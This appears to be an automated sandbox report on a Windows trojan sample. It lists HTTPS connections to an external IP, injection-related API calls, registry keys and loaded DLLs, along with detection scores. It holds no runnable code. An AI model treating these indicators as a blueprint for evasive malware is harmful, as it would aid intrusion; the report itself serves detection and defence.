Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50155 version: TLS 1.2

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286DFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_0286DFE4
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02867CF8 NtWriteVirtualMemory,	0_2_02867CF8
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02868BA6 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02868BA6
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02868BA8 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02868BA8
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286DE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0286DE24
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286DE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0286DE78
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286DF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_0286DF00

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0286F0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_0286F0A8

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_028520C4		0_2_028520C4
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287E59A		0_2_0287E59A

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 02868798 appears 54 times
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 028544D0 appears 33 times
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 0285480C appears 931 times
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 0286881C appears 45 times
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 028544AC appears 74 times
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: String function: 028546A4 appears 244 times

Source: LbZ88q4uPa.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal76.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_02857F54 GetDiskFreeSpaceA,

0_2_02857F54

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_02866D48 CoCreateInstance,

0_2_02866D48

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LbZ88q4uPa.exe	Virustotal: Detection: 81%
Source: LbZ88q4uPa.exe	ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

File read: C:\Users\user\Desktop\LbZ88q4uPa.exe

Jump to behavior

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: msasn1.dll	Jump to behavior
